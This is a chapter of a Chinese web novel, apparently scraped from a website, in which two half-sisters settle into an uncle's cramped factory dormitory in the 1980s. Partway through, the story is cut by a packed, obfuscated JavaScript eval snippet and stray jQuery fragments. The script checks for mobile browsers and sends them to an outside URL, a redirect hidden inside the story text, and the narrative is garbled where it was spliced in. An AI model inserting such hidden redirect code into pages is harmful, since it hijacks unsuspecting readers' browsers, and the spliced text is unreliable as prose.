3. 休息

作品:《你以为80年代的女装好卖?

    赵香梅安静的看着人群中相拥痛哭的两母女,再次承认自己没有遗传到任何来自妈妈的天赋。周围观众尽是一脸听故事尽兴后的满足表情,剩下的时间他们只需要发发善心做出一些虚无的保证和动动嘴皮说一些安慰的词语,今天晚上的大戏就可以圆满落幕。


    卷发少女慢慢退出房间,什么忙都帮不上会让她产生可耻的不配得感,所以当她找到门口的邻居连比带划问清楚宿舍楼布局后,她便主动去厨房打了些水回新家打扫房间。


    台前的人大可唱的掌声雷动,后台的人也要做好自己的本职工作。


    赵香梅麻利的在黑暗中擦拭着房间内仅有的两张木板床和一个四脚不平的旧衣柜,闻着房间里潮湿的灰尘霉味,做着自己最擅长的家务,她感觉到内心平静下来。等忙完一圈后看着大厅的人们还谈兴正浓,她又悄悄去厨房找起了吃食。


    这个点厨房已经没有什么人在用,徒留下一地不好闻的积水。卷发少女看见锁起来的各个调料箱,却也不敢轻举妄动,这种公共厨房少点东西都会和邻居争出个头破血流。赵香梅正一脸为难,听到身后传来一阵轻盈的脚步声,回过头一瞧是位圆脸健壮的少女走了过来,来人和她母亲一样是个豪爽的性子,


    “表妹,我看你一个人忙上忙下的,有什么要我帮忙吗?”


    赵香梅立刻腼腆的比划着:“蓉秀表姐,我想煮点饭,我看大家都饿了。”


    “啊,米饭啊?”这下轮到毛蓉秀尴尬起来,对着初次见面的表妹又不能名言,圆脸姑娘手指卷着自己的黑亮辫子岔开话题道:“这个,这个米饭现在可能不够,煮点玉米粥或者高粱面可以吗?”


    赵香梅立即反应过来是怎么回事,唰的一下也脸红了,磕磕绊绊的答应着。都觉得难为情的两人就在厨房里忙碌起来,毛蓉秀手把手告之赵香梅何处的油盐是他们带来的,面和米又放在哪,煤球和柴火灶怎么用。


    等到砖砌的灰色黑灶台下烧起柴火,烧起铁锅内的沸水翻滚着白色的滚花,两个精通家务和厨艺的人不多时就做了一锅面,又顺手切了点白菜和咸菜拌面。


    毛蓉秀洗干净几个磕了角的搪瓷碗和盆,把这些凑合煮的晚餐给屋里的人送了回去。等到厨房里只剩赵香梅一个人了,她想了想埋头在舅舅家的橱柜里面掏了起来。


    小小客厅里,唯一可见的大家具是一个可放平的木沙发,此刻上面挤着三个家长和两个小孩正风卷残云吃着东西。好事的邻居都带着精神上的满足回家离去,不出意外的话今天晚上听来的新闻将会在三天内传播在整个厂区。


    赵艳芳真的是饿坏了,一碗面和水灌进肚子后,她感觉又活了过来,眼前的环境也不那么再让人难以接受。她抬眼偷偷看着这个房子的布局,一盏30瓦的暗沉灯泡散发着黄光,多年前粉刷过的墙已经满是污迹和涂画,整个房间都有一股淡淡受潮的发霉味道。大厅里面只有三种家具,屁股下这张黄漆木头沙发还算完整地靠着墙角,现在吃饭用的桌子是可拉伸折叠的小木头圆桌,桌面上因为经年累月的使用布满凹槽,黑色的不明物质也跟着出现在凹槽内透露着油腻的气息,光是盯着这些凹槽都使得她激起了一身的鸡皮疙瘩,门口那张屁股下一动就咯吱乱叫的木板凳更让人小心翼翼,这里比她以前去过的任何屋子都还要差。可是又有什么办法?母亲已经私下再三警告过她,舅舅家是她们唯一能落脚的地方,她要是敢闹脾气就有更可怕的下场等着她。


    饶是见过不少人吃饭的样子,毛蓉秀还是有点惊讶的看着几人三分钟搞完一锅面条,陈红妹这时才想起来还有个外甥女怎么不见了,圆脸姑娘假装嗔道:“妈你也真是的,你刚刚才吃了大表妹做的面条呢,你以为我一个人能做这么快呀?”


    陈红妹一拍大腿大大咧咧向唐钟芳问道,“你的大女儿很勤快啊,我刚刚看着长得也不太像你,是像她爸爸吗?”


    唐钟芳面色如常,“是啊,大女儿和她爸一个性子。我这个大女儿很勤快的,以前刚生她的时候生活条件不好,后面又让她一直在店里帮忙,所以她什么家务都精通。到了小女儿的时候就不一样了”,美妇人拉起一直依偎在身边的小女儿到怀里拍了拍,“小女儿我一直放在身边娇养着,她性子就比较骄横了,嫂子你以后多担待。”


    不管房内现在又在演绎什么,厨房反扣的木门内,此刻昏暗的灯光下半熄灭的灶台上有什么东西正在滋滋做响,空气中有一股浓郁的食物香味勾人心魂,让人口水四溢,灶台前的赵香梅迅速把煎的金黄的鸡蛋翻了个身,不多时一个煎的油光水滑的溏心荷包蛋完美的躺在锅里。


    赵香梅吸吸鼻子,心想,这世上就没有饿死的厨子。少女迅速操起筷子把还滚烫的荷包蛋塞进了自己嘴里,对于普通人来说过于高温的食物她却适应良好。


    ——————————


    一场精疲力尽的大戏唱到了深夜,到了晚上十一点,送别毛大元一家离去后简单洗漱过的三母女才得以躺下。一房一厅的空间,唐钟芳自己独占了大床,让两个女儿去挤小床休息。按理说也是完全够两姐妹休息,只是赵艳芳又开始闹起来小别扭。


    14岁的小女孩抽泣着,挣扎过后不得不放下骄傲,她甚至破天荒别扭着第一次对赵香梅喊出了姐姐,问对方是否可以把床让给她一个人。气的唐钟芳怒骂现在还在端什么架子,却又摔门自己先去休息,让两姐妹自己协商。


    看见自己妈妈发火,赵艳芳心里害怕极了,却还是瘪着嘴抱着枕头和赵香梅对抗着。赵香梅仔细看着她,试着理解对方的心理:“妹妹,你一直有自己的单独房间,你现在是不是还没接受和人挤一铺床的生活?”


    小女孩可怜兮兮地点点头,委屈想着半个月前她还是衣食无忧的富家小姐,一夜之间变成了现在这样杂草般的存在,她明明已经一退再退的忍让了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421103|169054||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为什么妈妈总还是骂她娇气,现在她连独立的房间也没办法拥有,已经很是可怜,当下还要逼她和别人挤一铺床,从小到大在她的世界中只有下人才会连单独的床都没有。


    四周一片寂静偶尔传来几声虚弱的蝉鸣和狗吠声,这间小屋子就像是漂泊在大海上的孤舟,不管这间屋子里的人不管愿不愿意,也只有彼此了。


    卷发少女回想着刚刚那一声可怜兮兮的“姐姐”,心下一软对着赵艳芳点点头:“我睡大厅吧,木头沙发和木板床也不差,你自己睡一个床。”


    小女孩诧异的看着对方,她还准备一肚子的理由和借口没说呢,没想到啊没想到,赵艳芳眼里闪过狡黠内心很是得意,糊弄个书都没读过的人真容易。


    “去睡吧,妹妹。”


    赵香梅躺在硬木头沙发上,放空双眼看着虚空中的天花板,黑暗如潮水一般淹没了她的全身。她舒服的喘出一口气,从有记忆以来这是她第一次睡在单独的“床”上,身边再也没有其余的老妈子或者丫头和她一起挤。她放松的翻了个身,觉得现在的她快乐极了,她在心里默念着:老天爷啊,如果可以的话,让她再也不要回到过去。


    ——————————


    小女孩在床上蜷缩着自己,她翻身好几次呼吸也变得沉重,紧闭的眼皮也没有睁开过。模模糊糊间,她听到有个女人在叫她,再睁开眼她就站在自己家熟悉的后花园里,日子如同过去十几年一般平常,她看见她的妈妈殷勤围着大夫人奉承,而她真正的姐姐正在一边幸灾乐祸的等着她回话。


    “……你说是为什么呢?艳芳。”


    嘴里一阵干涩,赵艳芳讨好的冲对面笑笑:“什么?大姐,我刚刚没听清。”


    看不清脸的大姐不屑地喷了个鼻音,起身强势的拉着她走到了一边,从这个角度看过去,可以看见几米外还有个熟悉的声影趴在地上在拔草。炙热的阳光毫不留情的罩着这位拔草的女工,女工的汗水打湿了身上那件洗得发白又不合身的褂子。


    赵艳芳感觉喉咙一阵生疼,耳边大姐阴冷的声音嘶嘶响起:“二妹,那个赵香梅就是小妈以前和别人生的野种吧,蹭你的光也带进我们家讨口饭吃,你说你们都是一个妈生的,为什么你就能当小姐,她只能当仆人呢?”


    “大姐,”赵艳芳记得连忙表态:“我没有那样的姐姐,我的姐姐只有你一个。”


    “是吗,咦?二妹你怎么没穿衣服啊。”


    什……什么?小少女蓦然张开双眼,盯着破败的天花板发了好一下呆,沮丧的发现刚刚只是做了一场梦。


    天色明亮,光线透过稀薄破旧的棉纱窗帘大咧咧的闯进了屋子,一切情愿或者不情愿都暴露在眼前,屋外面的走廊上传来邻居们毫无公德心的大声喧哗,夹杂着各种粗言鄙语和鸡飞狗跳。赵艳芳痛苦的把头埋进了毯子中,后悔醒的太早。她心里默念着:老天爷,求你让我回去吧。